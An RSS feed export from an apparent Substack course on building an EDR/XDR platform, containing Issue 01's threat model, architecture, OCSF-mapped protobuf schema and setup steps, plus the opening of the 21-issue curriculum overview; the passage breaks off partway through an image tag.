<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[How Tech - Systems Programming: Build a Production-Grade EDR/XDR From Scratch]]></title><description><![CDATA[A hands-on 21-issue course for building an EDR/XDR-style security platform from endpoint telemetry to detection, correlation, AI-assisted investigation, and response.]]></description><link>https://howtech.substack.com/s/build-a-production-grade-edrxdr-from</link><image><url>https://substackcdn.com/image/fetch/$s_!WVqZ!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460e7575-ea8a-4428-9851-35cd47d17a87_816x816.png</url><title>How Tech - Systems Programming: Build a Production-Grade EDR/XDR From Scratch</title><link>https://howtech.substack.com/s/build-a-production-grade-edrxdr-from</link></image><generator>Substack</generator><lastBuildDate>Wed, 19 Aug 2026 03:18:49 GMT</lastBuildDate><atom:link href="https://howtech.substack.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Sumedh S]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[howtech@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[howtech@substack.com]]></itunes:email><itunes:name><![CDATA[Systems]]></itunes:name></itunes:owner><itunes:author><![CDATA[Systems]]></itunes:author><googleplay:owner><![CDATA[howtech@substack.com]]></googleplay:owner><googleplay:email><![CDATA[howtech@substack.com]]></googleplay:email><googleplay:author><![CDATA[Systems]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Issue 01 — Foundations, Threat Model & OCSF ]]></title><description><![CDATA[This issue sets the threat model, five-layer architecture, and OCSF-mapped TelemetryEvent wire contract used for every later module.]]></description><link>https://howtech.substack.com/p/issue-01-foundations-threat-model</link><guid isPermaLink="false">https://howtech.substack.com/p/issue-01-foundations-threat-model</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Mon, 17 Aug 2026 11:45:35 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!MM7x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p>This issue sets the threat model, five-layer architecture, and OCSF-mapped <code>TelemetryEvent</code> wire contract used for every later module. No host agent runs here. Issue 02 introduces the first executable binary.</p></blockquote><h2><strong>Scope and terms</strong></h2><blockquote><p><strong>Antivirus</strong> evaluates files against signatures and heuristics at write or execution time.</p><p><strong>EDR (Endpoint Detection and Response)</strong> evaluates sequences of behavior: process trees, command lines, file and network activity, plus response actions such as process kill, host isolation, and file quarantine. Living-off-the-land activity (<code>certutil</code>, PowerShell, <code>rundll32</code>) often never drops a distinct malware file, so file-only detection is incomplete. Phases A and B of this course build the OS telemetry EDR requires.</p><p><strong>SIEM</strong> aggregates logs from multiple point products (firewalls, EDR, identity providers) into a shared query surface.</p><p><strong>XDR</strong> extends detection and correlation beyond endpoints to network, identity, and container sources so related alerts form one incident. Module 9 implements that layer. Earlier modules produce the telemetry it joins.</p><p><strong>MITRE ATT&amp;CK</strong> is a public catalog of adversary techniques (for example <code>T1105</code>, Ingress Tool Transfer). From Module 7 onward, detection rules are tagged with the technique they target so Module 14 can report coverage against exercised techniques rather than untested rule tags alone.</p><p>The EDR agent itself is part of the threat model. It typically runs with elevated privileges and is a high-value target for disablement or tampering. Tamper resistance is deferred to Module 13; the design implication starts now: assume an attacker who knows the agent is present.</p></blockquote><h2><strong>Telemetry, detection, and response</strong></h2><blockquote><p>Keep these layers separate while building:</p></blockquote><p><strong>LayerResponsibilityPrimary failure mode</strong>TelemetryCollect host and cloud eventsSilence: missing fields make activity invisible downstreamDetectionScore telemetry and raise alertsNoise or blindness: excessive false positives, or missed true positivesResponseChange host state (kill, isolate, quarantine)Unsafe control: a remote action path without sufficient authorization and audit</p><blockquote><p>A missing telemetry field often looks like a detection bug. Confirm collection before tuning rules.</p></blockquote><h2><strong>System architecture</strong></h2><blockquote><p>The platform data plane has five layers: agents, ingestion, storage, detection and correlation, and dashboard / copilot. Response commands return to agents on a separate control-plane path. Do not model response as only a dashboard button.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MM7x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MM7x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 424w, https://substackcdn.com/image/fetch/$s_!MM7x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 848w, https://substackcdn.com/image/fetch/$s_!MM7x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 1272w, https://substackcdn.com/image/fetch/$s_!MM7x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MM7x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png" width="584" height="438" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:900,&quot;width&quot;:1200,&quot;resizeWidth&quot;:584,&quot;bytes&quot;:168901,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209910259?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!MM7x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 424w, https://substackcdn.com/image/fetch/$s_!MM7x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 848w, https://substackcdn.com/image/fetch/$s_!MM7x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 1272w, https://substackcdn.com/image/fetch/$s_!MM7x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Events move down the data plane; response commands return to agents on a separate path.</em></figcaption></figure></div><blockquote><p>The same spine applies to a Linux host, a Kubernetes node, or identity-provider audit logs. Modules 1&#8211;6.5 align each source to one vocabulary before deeper detection work.</p></blockquote><h2><strong>OCSF as the storage and query model</strong></h2><blockquote><p>Custom JSON field names (for example <code>parentProcId</code>) are inexpensive in early modules and costly later. Public Sigma rules still use classic fields such as <code>Image</code> and <code>CommandLine</code>. OCSF does not eliminate conversion; it provides one storage vocabulary for Sigma pipelines, correlation joins, and later investigation tools.</p><p>This course normalizes to the Open Cybersecurity Schema Framework (Linux Foundation project since November 2024). Confirm the current release at <a href="https://schema.ocsf.io/">schema.ocsf.io</a>. This issue was verified against <strong>1.8.0</strong> (March 2026). AWS Security Lake is a clear OCSF-native lake example. Elastic&#8217;s primary gravity remains ECS. Vendor agent wire formats are not uniformly OCSF. The project adopts OCSF as the greenfield storage and query model.</p><p>Protobuf is the wire format. OCSF is the data model. Classification fields (<code>class_uid</code>, <code>category_uid</code>, <code>activity_id</code>, <code>type_uid</code>, <code>severity_id</code>) belong on the Base Event. The <code>metadata</code> object carries product identity and the OCSF schema version string.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UnI_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UnI_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 424w, https://substackcdn.com/image/fetch/$s_!UnI_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 848w, https://substackcdn.com/image/fetch/$s_!UnI_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 1272w, https://substackcdn.com/image/fetch/$s_!UnI_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UnI_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png" width="586" height="524.4217032967033" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1303,&quot;width&quot;:1456,&quot;resizeWidth&quot;:586,&quot;bytes&quot;:771966,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209910259?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UnI_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 424w, https://substackcdn.com/image/fetch/$s_!UnI_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 848w, https://substackcdn.com/image/fetch/$s_!UnI_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 1272w, https://substackcdn.com/image/fetch/$s_!UnI_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Selected wire fields map to OCSF process_activity paths, including type_uid, process.uid, and actor.process.</em></figcaption></figure></div><blockquote><p>Maintain <code>docs/ocsf-mapping.md</code> as the source of truth. Update that document before extending <code>proto/telemetry.proto</code> when new event classes are added.</p></blockquote><h2><strong>Wire contract decisions</strong></h2><blockquote><p>Place classification fields at the top level of <code>TelemetryEvent</code> so conversion and query code share one convention.</p><p>Model <code>Actor</code> with both <code>process</code> and <code>user</code>. For process Launch, the actor process is typically the parent. A user-only actor object does not match OCSF process activity semantics.</p><p>Include <code>process.uid</code> as durable process identity. Operating systems reuse PIDs; lineage and process-tree views require a stable id. Agents populate <code>process.uid</code> beginning in Issue 02.</p><p>Start <code>oneof activity</code> at field number 10 so later file and network arms can be added without renumbering. Assigned field numbers are part of the wire contract.</p><p>Compute <code>type_uid</code> as <code>class_uid * 100 + activity_id</code> (process Launch &#8594; <code>100701</code>). Downstream tables and rules key on this value.</p><p>Store file hashes as a single <code>sha256</code> string until Module 6 (TIER 2). Leaving <code>process.uid</code> empty while claiming OCSF alignment produces incorrect lineage later; populate the field when agents ship.</p></blockquote><h2><strong>Deliverable</strong></h2><blockquote><p>Produce the repository scaffold, <code>proto/telemetry.proto</code> mapped to OCSF <code>process_activity</code>, <code>docs/ocsf-mapping.md</code>, and the architecture and mapping diagrams. No host agent executes in this issue.</p><p>Completion criteria:</p></blockquote><ol><li><p><code>protoc --proto_path=proto --python_out=/tmp proto/telemetry.proto</code> completes without errors.</p></li><li><p>You can locate top-level <code>type_uid</code>, <code>severity_id</code>, and <code>Actor.process</code> in the proto without referring to this article.</p></li><li><p>You can redraw the five-layer architecture and state the primary failure mode of each layer.</p></li></ol><h2><strong>Labs</strong></h2><ol><li><p>Install Sysmon on a Windows VM and osquery on any OS. Generate ordinary activity (browser, terminal). Inspect raw event schemas. Do not write project code yet.</p></li><li><p>Open the <code>process_activity</code> class on schema.ocsf.io. Compare fields to Sysmon and osquery output. Note gaps in both directions; do not resolve them yet.</p></li><li><p>Redraw the architecture diagram from memory. Write one sentence per layer describing its role. If any layer is unclear, reread the architecture section before starting Issue 02.</p></li></ol><h1><strong>Implementation guide: Foundations, Threat Model &amp; OCSF</strong></h1><h2>Github Link:</h2><p><a href="https://github.com/sysdr/production-xdr-edr/tree/main/v01-foundations-ocsf">https://github.com/sysdr/production-xdr-edr/tree/main/v01-foundations-ocsf</a></p><blockquote><p>Keep this guide open while building. Design rationale is in the issue article; this document is the step sequence only.</p></blockquote><h2><strong>Prerequisites</strong></h2><ul><li><p><code>git</code></p></li><li><p><code>protoc</code> (protobuf compiler), v3.21+ recommended</p><ul><li><p>macOS: <code>brew install protobuf</code></p></li><li><p>Linux: <code>apt install -y protobuf-compiler</code> (or distro equivalent)</p></li><li><p>Windows: install from <a href="https://github.com/protocolbuffers/protobuf/releases">protobuf releases</a> and add to <code>PATH</code></p></li></ul></li><li><p>A text editor</p></li><li><p>No OS-native agent tooling in this issue (starts Issue 02)</p></li></ul><blockquote><p>Verify:</p></blockquote><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;1df317eb-409f-4dcd-853e-01256a82ccf2&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">protoc --version
# libprotoc 3.21.0 or higher</code></pre></div><h2><strong>Step 1 &#8212; Scaffold the repository</strong></h2><pre><code><code>mkdir edr-xdr-from-scratch &amp;&amp; cd edr-xdr-from-scratch
git init

mkdir -p agent-windows agent-macos agent-linux agent-k8s \
         backend dashboard detections copilot proto \
         docs/issue-notes docs/implementation-guides docs/diagrams</code></code></pre><blockquote><p>Verify: <code>tree -L 2</code> (or <code>ls -R</code>) shows the nine top-level module directories plus <code>docs/</code> and <code>proto/</code>.</p></blockquote><h2><strong>Step 2 &#8212; Add the protobuf schema</strong></h2><blockquote><p>Create <code>proto/telemetry.proto</code> with <code>TelemetryEvent</code> and related messages. Read every OCSF mapping comment while writing. Field comments are the contract later modules assume.</p><p>Requirements:</p></blockquote><ol><li><p>Classification fields are top-level on <code>TelemetryEvent</code>: <code>class_uid</code> (1007), <code>category_uid</code> (1), <code>activity_id</code>, <code>type_uid</code> (<code>class_uid * 100 + activity_id</code>), <code>severity_id</code>. Do not place these only inside <code>metadata</code>.</p></li><li><p><code>Metadata</code> holds product identity and OCSF schema version (<code>ocsf_version</code> &#8594; <code>metadata.version</code>).</p></li><li><p><code>Actor</code> includes <code>user</code> and <code>process</code>. For Launch, actor process is typically the parent.</p></li><li><p><code>ProcessActivity.uid</code> provides durable process identity. PID alone is insufficient for lineage.</p></li><li><p><code>oneof activity</code> currently contains only <code>process_activity</code> at field <code>10</code>. Later modules add arms without renumbering existing fields.</p></li></ol><blockquote><p>Verify:</p></blockquote><pre><code><code>protoc --proto_path=proto --python_out=/tmp proto/telemetry.proto</code></code></pre><blockquote><p><code>--python_out</code> is a syntax check only. Module 1 onward uses Rust. No compiler output means success.</p></blockquote><h2><strong>Step 3 &#8212; Write the OCSF mapping document</strong></h2><blockquote><p>Create <code>docs/ocsf-mapping.md</code> before treating the proto as finished. Later modules that add event types edit this file first, then the proto.</p><p>Include at minimum:</p></blockquote><ul><li><p>Rationale for OCSF (Sigma conversion target, lake/interchange where OCSF is used, shared tool vocabulary)</p></li><li><p>Top-level classification and <code>type_uid</code> / <code>severity_id</code> / proper <code>metadata</code></p></li><li><p>Full field mapping table including <code>process.uid</code> and <code>actor.process</code></p></li><li><p>Explicit list of deliberate non-exact mappings (for example flattened <code>sha256</code>)</p></li><li><p>Short detection field contract preview for Module 7</p></li></ul><h2><strong>Sandbox / CI / Reader VM</strong></h2><p><strong>StepSandbox / CIReader machine</strong>Repo scaffold + markdownFullFull<code>protoc</code> compileNeeds protobuf in the environmentRequired &#8212; Step 2SVG render checkOptional XML well-formednessOpen in browserLive OS agentsN/A this issueStarts Issue 02</p><h2><strong>Step 4&#8212; README and changelog</strong></h2><blockquote><p>Write top-level <code>README.md</code> covering repository layout, navigation of <code>docs/issue-notes/</code>, and the honesty label (demoable vertical slice).</p><p>Start <code>CHANGELOG.md</code> with one section per issue tag:</p></blockquote><pre><code><code>## v01-foundations-ocsf
- Repo scaffold
- TelemetryEvent protobuf schema, mapped to OCSF process_activity (class_uid 1007)
- System architecture + OCSF mapping diagrams</code></code></pre><h2><strong>Step 6 &#8212; Verify the deliverable</strong></h2><blockquote><p>Curriculum deliverable: architecture diagram + README + protobuf schema stub with an explicit field-to-OCSF mapping table.</p><p>Checklist:</p></blockquote><ul><li><p><code>proto/telemetry.proto</code> compiles with <code>protoc</code></p></li><li><p>Top-level <code>type_uid</code>, <code>severity_id</code>, <code>class_uid</code>, <code>category_uid</code>, <code>activity_id</code> exist on <code>TelemetryEvent</code></p></li><li><p><code>Metadata</code> carries product + OCSF version; <code>Actor</code> has user + process</p></li><li><p><code>ProcessActivity.uid</code> and <code>ProcessRef.uid</code> exist</p></li><li><p>Mapped fields have OCSF attribute comments</p></li><li><p><code>docs/ocsf-mapping.md</code> is complete and uses Sigma-as-conversion wording</p></li><li><p><code>README.md</code> explains repository structure</p></li><li><p>You can state the role and primary failure mode of each architecture layer</p></li></ul><h2><strong>Common errors</strong></h2><blockquote><p><code>protoc: command not found</code> &#8212; install the compiler and restart the shell so <code>PATH</code> updates apply (especially on Windows).</p><p><strong>Unexpected field numbers after edits</strong> &#8212; protobuf field numbers are part of the wire format. Do not renumber existing fields; later issues assume stability.</p><p><strong>Nothing runs yet</strong> &#8212; expected. Issue 01 is architecture and schema only. The first runnable binary is <code>linux-agent</code> in Issue 02.</p></blockquote><h2><strong>Next issue</strong></h2><blockquote><p>Tag this checkpoint before Issue 02:</p></blockquote><pre><code><code>git add -A
git commit -m "Issue 01: foundations, threat model, OCSF schema"
git tag v01-foundations-ocsf</code></code></pre><h2><strong>Validation note</strong></h2><blockquote><p><code>proto/telemetry.proto</code> should be checked for brace balance and field uniqueness. Full <code>protoc</code> compilation requires a local protobuf install. If compilation fails on a correct install, treat it as a bug report against this issue package.</p></blockquote><p></p><h2></h2><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Full Curriculum: Build a Production-Grade EDR/XDR From Scratch ]]></title><description><![CDATA[All 21 Issues (OCSF, eBPF, ETW, XDR Correlation, AI Copilot)]]></description><link>https://howtech.substack.com/p/full-curriculum-build-a-production</link><guid isPermaLink="false">https://howtech.substack.com/p/full-curriculum-build-a-production</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Fri, 14 Aug 2026 09:10:32 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!IWe9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>Build a Production-Grade EDR/XDR From Scratch</h1><h3>The Full 21-Issue Curriculum</h3><p>This is the complete curriculum map for the course &#8212; every issue, what it covers, and how it fits into the larger system. Each issue corresponds to a git tag in the companion repo, so you can check out the exact working state described at any point.</p><div><hr></div><h2>Course Description</h2><p>This course builds a layered EDR/XDR system across 21 issues, the same way real security platforms are architected: agents observe activity on a host, events are normalized into a shared schema, shipped securely, stored, run through detection rules, correlated into incidents, and surfaced to an analyst (human or AI) who can approve a response.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p>It is a <strong>demoable vertical slice</strong> &#8212; most agent demos run on replay fixtures rather than live kernel hooks, and some components (like the macOS agent) are explicitly scaffolds. The goal is to teach the engineering layering of an EDR/XDR platform honestly, not to ship a production fleet agent.</p><div><hr></div><h2>What You&#8217;ll Build</h2><ul><li><p>Agents for <strong>Linux (eBPF/Aya)</strong>, <strong>Windows (ETW)</strong>, <strong>macOS (ES scaffold)</strong>, and <strong>Kubernetes</strong></p></li><li><p>An <strong>OCSF normalization layer</strong> that converts OS-specific events into a shared schema (verified against OCSF 1.8.0)</p></li><li><p>A <strong>buffered, mTLS-secured transport layer</strong> for shipping events</p></li><li><p>A <strong>pipeline</strong> (broker &#8594; ClickHouse/SQLite) for ingest and storage</p></li><li><p><strong>Sigma-as-code detection rules</strong> and a <strong>behavioral scoring engine</strong></p></li><li><p>An <strong>XDR correlation engine</strong> and <strong>ITDR (identity threat detection)</strong> rules</p></li><li><p>A <strong>control-plane response system</strong> with approval gating</p></li><li><p>A <strong>SOC dashboard</strong> and an <strong>AI copilot</strong> with red-team testing</p></li><li><p>An <strong>anti-tamper watchdog lab</strong> and a <strong>Helm packaging</strong> setup</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IWe9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IWe9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 424w, https://substackcdn.com/image/fetch/$s_!IWe9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 848w, https://substackcdn.com/image/fetch/$s_!IWe9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 1272w, 